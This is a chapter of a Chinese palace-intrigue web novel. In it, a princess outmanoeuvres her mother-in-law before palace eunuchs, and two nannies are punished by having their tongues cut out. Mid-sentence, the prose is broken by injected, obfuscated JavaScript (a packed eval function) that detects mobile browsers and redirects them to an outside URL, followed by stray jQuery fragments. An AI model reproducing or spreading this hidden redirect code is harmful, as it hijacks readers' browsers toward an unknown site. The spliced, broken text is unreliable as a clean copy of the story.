第二日,崇宁梳洗后换上一身素雅的杏白纹蝶襦裙,对镜问:“皇兄的人何时到。”
舒窃回话:“约莫辰时。”
崇宁点头:“燕婉在府上候着。”
她故意磨蹭了一刻才起身:“走吧,莫让驸马久等。”
她刚到廊下,就见花瓶门前站着人。
“夫君。”她笑吟吟说。
史之尧愣愣看着她,只觉她这身打扮与往日不同,却也挑不出错。
“走。”他牵着崇宁的手往秋霜阁去。
赵氏自史曌回府就心中不快,见两人姗姗来迟,便想以此事拿乔。
“今儿何故迟到,莫不是病没养好。”赵氏话中讥诮,无人听不出。
史之尧闻言眉头轻皱。
崇宁脸色微红:“托母亲的福,前两日微恙。如今已痊愈。”
“既痊愈为何不带账册来,交待你的账目可查清了?”
崇宁低头不说话。
赵氏将茶盅重重置于桌案,心里不顺,嘴比刀快:“问你便不言,不知道的还以为受了多大委屈。难不成老身平日苛待你不成?”
“娘!”史之尧看不下去,刚开口一只温热的小手捏捏掌心,暗示他不要多言。
他心底一柔,听了崇宁的话。
何况母亲是个得理不饶人的。他若怼上一句,她就拿孝道纲常压他一头。史之尧知晓她孀居不易,便收敛情绪,耐心听她唠叨。
这番暧昧动作如何逃得了赵氏的眼,她面露不耻,同身边嬷嬷交换眼色。
李嬷嬷掩下眸中轻蔑:“殿下无心算账,却有心吟诗作画,实在让老奴纳罕。”
桂嬷嬷一旁拱火:“公主府仆从各个有主见,奴婢实在教得心累,这些日不知在那边受了多少罪……”
两人打开话匣子,一句一句数落起崇宁。
崇宁死死按住史之尧掌心,不让他发作。心想若无赵氏受益,她们怎敢如此僭越无礼。
另一边,燕婉和门房当值的一同等候宫中来人。
辰时一刻,高公公同汪公公一道前来,身后太监侍卫若干。
燕婉从未独自应对这么大阵仗,颤巍巍行完礼,紧张地说话都结巴起来。
“高、高公公是皇帝身边红人,亲自到访真让奴婢意外……”她一边迎两人进府,一边看向另一位陌生的公公,红着脸欲言又止。
高公公见状道:“这是司礼监的汪公公,为选秀一事来定远侯府,正巧与咱家一道。”
“圣上惦念公主,特让我等先来给公主请安。”他特意强调。承明皇帝虽嘴上不说,暗自挂念得紧,他们便代行耳目跑这一趟,好回去安抚圣心。
燕婉抿唇道:“原来如此。可、可是眼下公主去了侯府请安,怕一时回不来。”
高公公眯眼:“请安?”
他与汪公公对视,在彼此眼中看到疑惑。
燕婉觑着他们的神色,大致猜到了两人心思,解释道:“公公也知我家公主的性子,殿下素日谨慎小心,不敢越了规矩……”
她还没说完,见两人神色不忿。
高公公沉声:“劳烦带路。”
这等跑腿的活计本不该他们这等地位的大太监亲自操办,燕婉知崇宁知,侯府的人岂会不知。
是以当燕婉领两位公公到秋霜阁时,赵氏和众嬷嬷一并慌了神。
史之尧愕然望着气势汹汹的两位权宦,一瞬间打通关窍,明白崇宁为何倏地下跪认错,任他拉扯都不起身。
这便是要做给二人看。
史家人齐刷刷向公公见礼。高公公扫视众人,视线凝在公主背影。
“高公公。”崇宁柔声转头,一双水眸泪汪汪的。
小公主一身素衣,妆容寡淡,一看便是受了大委屈。侯府竟能干出这等怠慢皇家的荒唐事,两位公公心中不忿。
高公公虚扶她起身:“殿下岂能跪拜奴婢。”
“除了九五之尊,又有谁敢让殿下行此大礼?”
此话听得赵氏心虚不已,低垂着头,眼珠子慌乱地转个不停。
崇宁恭敬说:“话虽如此,可婆母教训的有理。崇宁理应下跪认错。”
高公公越过崇宁,问向赵氏:“殿下见了圣上亦可免去繁文缛节,不知殿下何错之有,竟让夫人如此教训刁难?”
赵氏道:“这、这……”她本想给崇宁个下马威,未曾想将此事闹大。
崇宁好声好气地劝慰:“公公莫要难为婆母,婆母是为元元着想,这才让教习嬷嬷亲自督查公主府上下,好让我们学些规矩,以免坏了侯府名声。”
“哦?”高公公挑眉道,“且不提公主府上下奴仆皆出自宫中,公主殿下自幼由太皇太后教养礼仪,一言一行皆为女中典则。
史夫人越俎代庖命乡野村妇插手公主府,是觉得皇家礼数不周,还是生了僭越心思,觉得定远侯府可凌驾于公主府之上?”
一通话说得有理有据,话里话外只一个意思:金枝玉叶的公主岂是你个深宅妇人染指欺负的?
赵氏只觉两股战战,后背冷汗直流。
这高公公何等人物,乃天子身边近侍,他于堂中言辞凿凿,于皇帝本人在此耳提面命有何区别?
见无人答话,高公公又道:“若并非如此,怕是觉得公主殿下柔软可欺,这才敢拿乔作践。这等侮蔑皇亲之举,不知定远侯府敢不敢担责。”
这话一出,赵氏吓得险些站不住。
史之尧咬牙看着崇宁。她一脸慌乱,好似真在左右为难!
“这……”崇宁被高公公说得微微迷怔,她摇摇头,天真而坚决道,“我婆母心善,想必不会存这等心思……一定有误会的。您说是不是,母亲?”
她轻声细语地一问,众人视线一并转移到赵氏身上。这妇人捏着帕子,额尖冒汗,一张大红脸羞得愧疚不言。身旁的嬷嬷们一个个气焰全无,若地砖上生出缝隙,怕不是当场要钻进去。
她见赵氏等人羞愧不言,又疑惑地望向夫君,双眼澄澈地问:“夫君觉得如何?”
史之尧脸色一沉,自高公公进门就知是她的设计。余光瞥见两位宦官注视自己,他收起脸色,挤出一句夫人有理。
崇宁一怔,难以置信道:“若是有理,岂非说婆母故意托人对付我?我与母亲近日相处甚洽,夫君怎么能生出这等腌臜心思,竟敢怀疑母亲心术不正?!”
闻言史之尧下颌紧绷,望着她那双失望的水眸,心里气得直发笑。
高公公见状,忙劝解道:“若无误会,便是有人故意撺掇。”
“故意撺掇?”崇宁惊讶地看向赵氏身边的嬷嬷,“……难道是你们?”
李嬷嬷桂嬷嬷早下破了胆,挂满褶子的老脸时红时白,见赵氏连一句求情之言都说不出,赶紧上前下跪连连认错。
高公公凉飕飕道:“萧墙之祸不容小觑,这等丢丑之事,不知驸马要如何解决。”
崇宁难为地说:“毕竟是侯府家事,本宫不便多言。”她说着,将求助的目光看向史之尧。
与她一并行眼色的还有两位公公即室内女眷。
崇宁这边的丫鬟太监希望他公正处理,赵氏那边的人则期待他从轻发落。
一边是妻子一边是母亲,一边是公理一边是孝道。这种进退两难的事,亏她聪明知道踢给他!
史之尧拳头攥的发白,却只能顺她心意道:“侯府虽有家法,但这等逾矩之事生于公主府,理应按公主府家法行事。”
崇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831461|175586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宁为难地看向高公公,高公公从善如流,颔首道:“驸马此言有理。”
崇宁只好让步道:“也好。采苓,去取长公主留下的家律。”
史之尧抿唇,冷眼望着她。
采苓即刻取来,交给史之尧:“公主府百废待兴,还好之前从值房翻出长公主留下的家法手册,奴婢前些天重新誊抄了一份,请驸马过目。”
史之尧僵着脸翻看,崇宁凑过去小心翼翼道:“不知若是母亲会做何惩处,但愿不要见血。”
“若有奴婢以下犯上,需割舌剥皮剜目去足,以效众人。”
史之尧冷冰冰念完,两位嬷嬷哇得哭出声,跪在地上“咚咚”朝崇宁磕头。
“公主饶命啊,老奴知错了……”
“奴婢被猪油蒙了心,才生了歪心思……”
“两位嬷嬷快请起。”崇宁见两人额头出血,满眼都是心疼,转而责备史之尧,“夫君怎可如此心狠,这套刑法下来,怕不是要了两位老妇人的命!”
不仅要拿他当刀,还要自己装好人!
史之尧火气上涌,挑眉问:“若依夫人所言,该当如何。”
崇宁闻言流下泪珠:“夫君知我是个没主见的木头人,还要让我做这等见血的选择,岂不是欺负我?”
史之尧一腔怨念无处发泄,只好求助高公公。
高公公道:“公主殿下心慈,不忍见其割舌剥皮剜目去足,可长公主之法亦不可破。既如此,不如做个折中,让两位嬷嬷从割舌剥皮剜目去足四项里任选其一受罚,不知驸马意下如何。”
“也好。”
闻言,两位老嬷嬷立刻选了割舌,赵氏红眼看着儿子,只恨他不争气。
“夫君真要如此绝情?两位嬷嬷或许不是有意的,你为何非要赶尽杀绝。”崇宁还想帮她们说两句话,却被史之尧无情打断。
他面色冷峻:“领她们受罚。”
两位嬷嬷哭着被拖了下去。
崇宁哭得更伤心:“两位嬷嬷是婆母的左膀右臂,她们一走,大房院里可还有能操持家事之人?”
蓁蓁善解人意道:“之前梁太后选的侍女中有几位管事女官。”
崇宁豁然道:“赶紧选两个聪明伶俐的,派到秋霜阁帮衬打点!”
她拉起瘫软的赵氏,温柔为她顺背,道:“婆母不必担忧,不必担忧。两位嬷嬷心里有鬼,可婆母却是干净人,此事已揭过,婆母不必挂怀,以后由女官操持家政,日后婆母便可万事无忧,颐养天年。”
此事如墨染白纸般迅速传播到府邸上下,既要以效众人,行刑时府中下人多有围观者。
一刀划下,两位嬷嬷口喷鲜血晕死过去。
众人吓出一身冷汗。
有人窃窃私语:“这两位嬷嬷不是大太太面前的红人么?”
“谁说不是呢,可偏要折辱公主,正巧被皇帝身边人瞧见,只怪她们倒霉。”
“公主天真无邪,真真是个纯净人儿,谁想暗地里受这些老妇挤兑……”
众人皆知公主的好,也知这些天她同驸马举案齐眉,再规矩不过。
“上月赏了茶点,这月又送解暑气的绿豆汤,虽住公主府却心系侯府,实在挑不出错,若不是这俩婆子为老不尊,何至于让公主生这么大气!”
另一人急忙指正:“谁告诉你是公主干的,这可是二爷手笔!公主再三求情都不顶用!”
看着地上的两根舌头,一人咋舌道:“也对。如此狠毒的招数怎么可能是娇滴滴的公主想出来的。”
“二爷也忒狠了!”
“他肯定是看不得公主受委屈,宠妻心切嘛!”
众下人感叹连连,又知今日府里来了宫中太监,这才噤声不再多言。